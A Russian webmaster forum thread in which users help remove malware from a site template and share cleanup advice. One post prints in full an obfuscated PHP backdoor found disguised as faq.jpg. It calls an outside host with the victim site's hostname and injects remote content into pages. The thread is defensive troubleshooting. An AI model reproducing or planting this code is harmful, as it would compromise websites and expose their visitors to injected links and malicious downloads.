Помощник
|
Помогите убрать вирус! |
Axel |
2.1.2010, 17:19;
Ответить: Axel
Сообщение
#12
|
|
Ну тогда просто бегайте по файлам шаблона и ищите. Смотрите внимательно.
Загляните в index.php. Да и еще... Вирус сам не мог появиться в файлах. Советую вам сменить пароль администратора, проверить нет ли в админке нового пользователя с правами админа. И поменять пароль на фтп. Еще посмотрите в админке, в рекламных материалах. |
|
|
webpavilion |
2.1.2010, 17:25;
Ответить: webpavilion
Сообщение
#13
|
|
taylerx, вариантов скрыть код намного больше, eval может и не быть.
cerrus, посмотрите по дате последнего изменения, скорее всего она будет отличатся. -------------------- Не ведитесь, cамопис это почти всегда плохо! Делаю сайты на Drupal 7.x (очень дорого) |
|
|
taylerx |
2.1.2010, 17:31;
Ответить: taylerx
Сообщение
#14
|
|
taylerx, вариантов скрыть код намного больше, eval может и не быть. cerrus, посмотрите по дате последнего изменения, скорее всего она будет отличатся. Я просто показал как у меня прописалось и где)) кстате абсолютно некстате ) потому что сетка из 20 сайтов легла )) пока руками все не почистил )) а оказался просто код накрутки гугла по каким то ключевым словам ) братья вебмастера помогли ) -------------------- |
|
|
malo |
2.1.2010, 17:40;
Ответить: malo
Сообщение
#15
|
|
К сожалению сам, что говорится "не в теме", но желаю вам решить вашу проблему ибо знаю, что очень неприятная у вас беда. Удачи, в общем!
-------------------- EDUGUSAROV - курсы маркетинга и SMM |
|
|
Axel |
2.1.2010, 17:42;
Ответить: Axel
Сообщение
#16
|
|
Присоеденяюсь к словам malo. я тоже недавно пережил это. Из-за таких приколов меня выперли с яндекса и гугла. Я сейчас остался ни с чем.
Надеюсь на востановление |
|
|
madsaturn |
2.1.2010, 17:49;
Ответить: madsaturn
Сообщение
#17
|
|
Найдено: файл faq.jpg в папке тема\images. Код файла:
<?php $x14="\146\x63l\x6f\x73e"; $x15="f\x65\157\146"; $x16="\146\147\x65\164\163"; $x17="f\163\x6f\143\x6b\x6fp\x65n"; $x18="f\160\165\164s"; $x19="\x73\x74\x72str"; $x0b="\x3c\141 \150r\x65\x66=n\x65oks\056\x72\x75>\074/a>";$x0c = @$x17("\x77\x77\167\056\145ror\150\157\x73t.\x72u", 80, $x0d, $x0e, 30);if ($x0c){ $x0f = "\107\105T \057\163\x61\151\x74\x2f\x69\1441\056\x70\150\x70\077\x73\x69t\x65=".$_SERVER['HTTP_HOST']." HT\x54\120\x2f1.1\n";$x0f .= "\x48\x6f\163\x74\072\040\x77\167\x77.\x65\162o\x72ho\x73\164\056\162\x75\n"; $x0f.='Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01'; $x0f .= "\n\n"; $x18($x0c, $x0f);$x10 = false;while (!$x15($x0c)) {$x11=$x16($x0c,128);if ($x10) {$x12.= $x11;} else {$x13 .= $x11;}if ($x11 == "\r\n" ) {$x10 = true;}}$x14($x0c);}else return $x0b; if ($x19($x13,'404')) return $x0b;else return $x12; ?> Тем, кто захотел "убить" вирус удалением соответствующего файла - не ст0ит этого делать. Чтобы не искать где он инклад'ится, достаточно просто отредактировать файл, оставив лишь в его содержимом <?php ?>. NOD32 4.0 начинает бить тревогу лишь при начале закачивания файла так называемого flash плеера. IE сразу пытался заблокировать загрузку файла, отнеся сайт adode.ru к подозрительным. Сообщение отредактировал madsaturn - 2.1.2010, 18:07 -------------------- |
|
|
cerrus
|
Сообщение
#18
|
|
Давайте про тестим на разных антивирусах!? если вам не трудно, отпишите с каким антивирусом, и есть вирус или нет
-------------------- |
|
|
malo |
2.1.2010, 18:16;
Ответить: malo
Сообщение
#19
|
|
У меня NOD и он молчит как рыба.
-------------------- EDUGUSAROV - курсы маркетинга и SMM |
|
|
Frankie |
2.1.2010, 20:03;
Ответить: Frankie
Сообщение
#20
|
|
ТС, установите код системы http://siteguard.ru и будет вам счастье
|
|
|
madsaturn |
2.1.2010, 20:19;
Ответить: madsaturn
Сообщение
#21
|
|
Frankie, а Вы сами пользовались этой системой? Что можете сказать по поводу них?
P.S. Заинтересовало. Это очень удобно, особенно при большой массе сайтов -------------------- |
|
|
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Помогите вспомнить рекламного бота Телеграм для обмена рекламой | 0 | Mixatraider | 730 | 21.2.2024, 23:42 автор: Mixatraider |
|
Помогите рещить проблему с монитором. Почему низкое разрешение при подключении монитора через displayport? |
0 | Levels | 1702 | 11.12.2020, 0:48 автор: Levels |
|
Помогите кто нибудь получить партнерку Росбанк! | 7 | heisenberg_mw | 2343 | 7.8.2020, 9:28 автор: heisenberg_mw |
|
Помогите найти тему пожалуйста | 7 | virtas | 12527 | 24.7.2020, 17:02 автор: -JamesSmips- |
|
Помогите с поиском доноров | 3 | tehno_music | 3359 | 4.11.2019, 17:15 автор: goblin78 |
Текстовая версия | Сейчас: 25.4.2024, 1:58 |